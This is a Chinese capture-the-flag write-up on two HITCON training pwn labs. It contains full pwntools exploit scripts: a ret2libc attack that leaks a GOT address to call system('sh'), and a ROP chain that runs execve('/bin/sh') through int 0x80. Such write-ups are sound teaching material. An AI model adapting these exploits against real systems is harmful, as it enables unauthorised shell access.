Pwn-10月24-hitcon(二)

继续hitcon的解题之路。

lab4 - ret2lib

拿到题目看题目名,和lab3的ret2sc差不多,这个应该是return to libc,也是一种攻击手法。泄露libc并且leak出libc基地址,从而getshell??

检查保护措施

checksec ret2lib:

Pwn-10月24-hitcon(二)

逻辑分析

简单跑一下:

Pwn-10月24-hitcon(二)

程序让我们输入一个地址,以整型的形式输入,然后它会返回这个地址存有的内容给我们,然后让我们leave some message,并且打印出来,我们可以通过这个功能从GOT表中将一些函数的真实地址打印出来,然后通过libc文件中函数的偏移量计算基地址,例如将某一个函数的GOT条目的地址传给write函数,就可以泄漏这个函数在进程空间中的真实地址,GOT表中所存的puts函数的地址便是在ret2lib进程中的实际地址。

IDA里面看看:

Pwn-10月24-hitcon(二)

通过命令readelf -V ret2lib可以查到其libc库版本为libc.so.6

Pwn-10月24-hitcon(二)

通过pwntools的elf模块我们可以链接该libc.so.6库,简单看看里面的函数地址:

Pwn-10月24-hitcon(二)

同样针对这题可以使用IDA alt + t来查找GOT表puts地址,也可通过上述ELF模块链接ret2lib程序,通过elf.got['puts']来获取GOT表中puts条目地址:

Pwn-10月24-hitcon(二)

Pwn-10月24-hitcon(二)

将134520860作为我们需要获得内容的地址输入程序:

Do you know return to library ?
###############################
What do you want to see in memory?
Give me an address (in dec) :134520860                                           
The content of the address : 0xf7639250

然后我们就得到了puts函数条目在存在GOT表中的内容,即此次程序运行时puts函数的真实地址0xf7639250

libc基地址计算:libcbase_addr = puts_addr - libc_puts = 0xf7639250 - 0x67250 = 0xf75d2000

这里我只是简单的展示一下计算方法,实际上在程序运行过程中libc的基地址是会发生变化的,所以不能提前计算好基地址,再写exp,要在exp里面计算基地址,这样就不会出错。

既然已经可以计算出system函数的地址了,那么我们就需要找一个sh,可以寻找binary程序本身中的字符串,也可以使用libc中的:

Pwn-10月24-hitcon(二)

然后我们可以通过Print_message()函数溢出,覆盖EIP的值使其跳转执行system函数:

Pwn-10月24-hitcon(二)

Pwn-10月24-hitcon(二)

可以看到padding长度为60,接下来写exp即可.

构造exp

libcbase_addr = puts_addr - libc_puts

system_addr = libcbase_addr + libc.symbols[‘system’]

return_addr = ‘anything’

exp:

#!/usr/bin/env python
#coding:utf-8

from pwn import *

io = process("./ret2lib")
elf = ELF("./ret2lib")
libc = ELF("/lib/i386-linux-gnu/libc.so.6")
libc_puts = libc.symbols["puts"]

io.sendlineafter(" :", str(elf.got["puts"]))
io.recvuntil(" : ")
libcbase_addr = int(io.recvuntil("\n"), 16) - libc_puts
return_addr = 0x0804857D #main函数地址

success("libcbase_addr -> {:#x}".format(libcbase_addr))
system_addr = libcbase_addr + libc.symbols["system"]

payload = flat(cyclic(60), system_addr, return_addr, next(elf.search("sh\x00")))
#sh\x00是因为可能匹配到其他字符串,从而加个截断
io.sendlineafter(" :", payload)

io.interactive()
io.close()

运行效果:

Pwn-10月24-hitcon(二)

lab5-simplerop

simplerop ==> easyrop ==> babyrop?经历绝望的过程?,又是一个构造ropchain的题目。

检查保护措施

checksec ./simplerop

Pwn-10月24-hitcon(二)

开启了NX,栈不可执行防护。

逻辑分析

通过ida看看:

Pwn-10月24-hitcon(二)

逻辑十分简单,就溢出然后构造rop chain,通过gdb动态调试得到溢出点,padding为32:

Pwn-10月24-hitcon(二)

但是这个题型貌似叫:ret2systemcall,此程序中既无system函数,也无/bin/sh字符串,还是静态编译,新姿势 >rop chain后 int 0x80中断从而执行系统调用> execve(/bin/sh)

原理:通过一系列 pop|ret 等gadget,使得 eax = 0xb(execve 32 位下的系统调用号),ebx -> /bin/sh, ecx = edx = 0,然后通过 int 0x80 实现系统调用,执行 execve(“/bin/sh”, 0, 0)

Pwn-10月24-hitcon(二)

不知道为啥我的ROPgadget查不到我们想要的gadget。

构造exp

exp:

#!/usr/bin/env python
#coding:utf-8
from pwn import*  
p = process('./simplerop')  
elf = ELF('./simplerop')  
  
pop_edx_ecx_ebx = 0x0806eca0  
pop_eax = 0x080b7e26  
pop_edx = 0x0806ec7a  
int_80 = 0x0806c8f5  
gadget = 0x080707b9 # mov word ptr [edx],eax  
bss = elf.bss()  
read_plt = elf.symbols['read']  
  
  
p.recv()  
payload = 'a'*32 + p32(pop_edx) +p32(bss)+ p32(pop_eax) +"/bin"+ p32(gadget)  
payload +=  p32(pop_edx) + p32(bss+4) + p32(pop_eax) + "/sh\x00" + p32(gadget)  
payload += p32(pop_edx_ecx_ebx) + p32(0) + p32(0) + p32(bss) 
payload += p32(pop_eax) + p32(0xb)  
payload += p32(int_80)  
  
p.send(payload)  
p.interactive()

运行效果:

Pwn-10月24-hitcon(二)

小结

内容涉及: libc泄露,leak libc基地址,ropchain系统调用(int 0x80)。

ropchain系统调用原理:在无system函数,/bin/sh可用的情况下,通过一系列 pop|ret 等gadget,使得 eax = 0xb(execve 32 位下的系统调用号),ebx -> /bin/sh, ecx = edx = 0,然后通过 int 0x80 实现系统调用,执行 execve(“/bin/sh”, 0, 0)。

相关文章:

  • 2021-10-08
  • 2021-10-04
  • 2022-01-10
  • 2021-04-04
  • 2021-05-25
  • 2021-11-30
  • 2022-12-23
  • 2021-12-26
猜你喜欢
  • 2022-01-21
  • 2021-12-15
  • 2021-10-23
  • 2022-12-23
  • 2021-12-17
  • 2021-09-24
  • 2021-04-24
相关资源
相似解决方案